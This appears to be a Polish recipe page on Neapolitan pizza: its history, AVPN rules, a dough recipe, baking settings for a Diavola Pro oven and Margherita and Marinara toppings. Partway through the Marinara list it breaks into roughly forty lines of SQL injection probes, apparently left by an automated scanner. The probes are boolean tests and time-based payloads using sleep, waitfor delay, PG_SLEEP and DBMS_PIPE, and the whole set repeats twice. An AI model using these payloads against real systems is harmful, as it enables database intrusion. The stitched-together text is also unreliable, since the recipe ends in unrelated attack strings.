Przepis na pizzę neapolitańską w piecu Diavola Pro
- 15 Lu, 2025
- 44 Komentarze
Historia pizzy neapolitańskiej
Pizza neapolitańska ma swoje korzenie w kulinarnej tradycji Neapolu – miasta, które dziś uznawane jest za kolebkę jednej z najpopularniejszych potraw na świecie. Jej początki sięgają XVIII wieku, kiedy to ubodzy mieszkańcy Neapolu zaczęli przygotowywać proste placki z ciasta, które szybko i skutecznie zaspokajały głód.
Kluczowy moment w historii pizzy nastąpił w XIX wieku, wraz z upowszechnieniem się pomidorów – sprowadzonych do Europy z Nowego Świata. To właśnie one przekształciły skromny placek w danie, które zaczęło podbijać serca nie tylko mieszkańców Neapolu, ale i całych Włoch.
Pizza jako wyraz kultury Neapolu
Rozwój pizzy neapolitańskiej to opowieść nierozerwalnie związana z historią i duchem samego Neapolu. Miasto to słynie z pasji, radości życia i głębokiego przywiązania do lokalnej kuchni. Charakterystyczna technika wypieku pizzy – w piecu opalanym drewnem, w ekstremalnie wysokiej temperaturze – stała się z czasem symbolem kulinarnego rzemiosła i dziedzictwa regionu.
W obronie tradycji: Associazione Verace Pizza Napoletana
W odpowiedzi na rosnącą popularność pizzy i jej komercjalizację, w 1984 roku powołano do życia Associazione Verace Pizza Napoletana (AVPN) – organizację non-profit, której misją jest ochrona i promowanie oryginalnej pizzy neapolitańskiej. AVPN ustaliła ścisłe wytyczne dotyczące składników, metod przygotowania, a nawet rodzaju pieca i używanych narzędzi.
Certyfikat AVPN to dziś znak najwyższej jakości i autentyczności – otrzymują go tylko te pizzerie, które bezkompromisowo przestrzegają tradycyjnych reguł wypieku.
Pizza Canotto – nowoczesna wariacja
Obok klasycznych odmian pizzy neapolitańskiej, coraz większą popularność zdobywa jej nowoczesna wersja – pizza „Canotto” (z wł. „ponton”). Wyróżnia się wyjątkowo puszystym, napompowanym rantem, który jest chrupiący na zewnątrz, a miękki i lekki w środku.
To efekt pracy z ciastem o dużej hydracji i odpowiedniej fermentacji – technika ta zyskuje uznanie wśród piekarzy i miłośników neapolitańskiej szkoły pizzy na całym świecie.
Przepis na klasyczną pizzę neapolitańską (wg AVPN)
Ciasto (na 4 porcje po 260 g):
• 645 g mąki typu „00” (np. Caputo Pizzeria)
• 400 g wody
• 20 g soli
• 0,4 g świeżych drożdży (lub 0,2 g suchych)
Przygotowanie:
- W wodzie rozpuszczamy drożdże.
- Stopniowo dodajemy mąkę i sól, cały czas mieszając.
- Wyrabiamy ciasto do uzyskania jednolitej, elastycznej konsystencji.
- Przykrywamy i zostawiamy do fermentacji na 16–18 godzin w temperaturze pokojowej.
- Dzielimy na 4 kulki i odstawiamy w szczelnym pojemniku na kolejne 6–8 godzin.
Formowanie i wypiek:
- Rozciągamy kulkę w kształt dysku, wypychając powietrze ku brzegom.
- Nakładamy składniki, zaczynając od sosu i oliwy.
- Pieczemy w piecu Diavola Pro:
- ustawiamy górny termostat na pozycję 4 dolny na pozycję 2
- po ok 30 minutach ustawiamy górny termostat na pozycję Boost
- wypiekamy pizze ok 90 sekund
Składniki – klasyczne warianty pizzy
Margherita:
• 60–80 g pomidorów San Marzano
• 80–100 g mozzarelli Fior di Latte
• 6–7 g oliwy z oliwek
• Świeża bazylia
• (opcjonalnie) starty parmezan lub pecorino
Marinara:
• 70–100 g pomidorów San Marzano
• 6–8 g oliwy z oliwek
• Ząbek czosnku
• Szczypta oregano
-1\' OR 5*5=25 or \'Fu5RtRw5\'=\'
-1\' OR 5*5=26 or \'Fu5RtRw5\'=\'
-1\" OR 5*5=25 or \"ohOpEZB0\"=\"
-1\" OR 5*5=26 or \"ohOpEZB0\"=\"
1*if(now()=sysdate(),sleep(15),0)
10\'XOR(1*if(now()=sysdate(),sleep(15),0))XOR\'Z
10\"XOR(1*if(now()=sysdate(),sleep(15),0))XOR\"Z
(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/
1-1; waitfor delay \'0:0:15\' --
1-1); waitfor delay \'0:0:15\' --
1-1 waitfor delay \'0:0:15\' --
1XmjKpuSg\'; waitfor delay \'0:0:15\' --
1-1 OR 195=(SELECT 195 FROM PG_SLEEP(15))--
1-1) OR 62=(SELECT 62 FROM PG_SLEEP(15))--
1-1)) OR 359=(SELECT 359 FROM PG_SLEEP(15))--
1iAFrDThn\' OR 837=(SELECT 837 FROM PG_SLEEP(15))--
1ex1s6RuD\') OR 892=(SELECT 892 FROM PG_SLEEP(15))--
1ZmHj9rnh\')) OR 977=(SELECT 977 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1\'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
(select 198766*667891 from DUAL)
-1\' OR 5*5=25 or \'UstO5Ds8\'=\'
-1\' OR 5*5=26 or \'UstO5Ds8\'=\'
-1\" OR 5*5=25 or \"qzjOFn4B\"=\"
-1\" OR 5*5=26 or \"qzjOFn4B\"=\"
1*if(now()=sysdate(),sleep(15),0)
10\'XOR(1*if(now()=sysdate(),sleep(15),0))XOR\'Z
10\"XOR(1*if(now()=sysdate(),sleep(15),0))XOR\"Z
(select(0)from(select(sleep(15)))v)/*\'+(select(0)from(select(sleep(15)))v)+\'\"+(select(0)from(select(sleep(15)))v)+\"*/
1-1; waitfor delay \'0:0:15\' --
1-1); waitfor delay \'0:0:15\' --
1-1 waitfor delay \'0:0:15\' --
1Vv73TrtF\'; waitfor delay \'0:0:15\' --
1-1 OR 60=(SELECT 60 FROM PG_SLEEP(15))--
1-1) OR 301=(SELECT 301 FROM PG_SLEEP(15))--
1-1)) OR 797=(SELECT 797 FROM PG_SLEEP(15))--
1hKfi7Lua\' OR 218=(SELECT 218 FROM PG_SLEEP(15))--
1d6bGGSto\') OR 124=(SELECT 124 FROM PG_SLEEP(15))--
1DkgNwxwq\')) OR 342=(SELECT 342 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1\'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||\'
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
(select 198766*667891 from DUAL)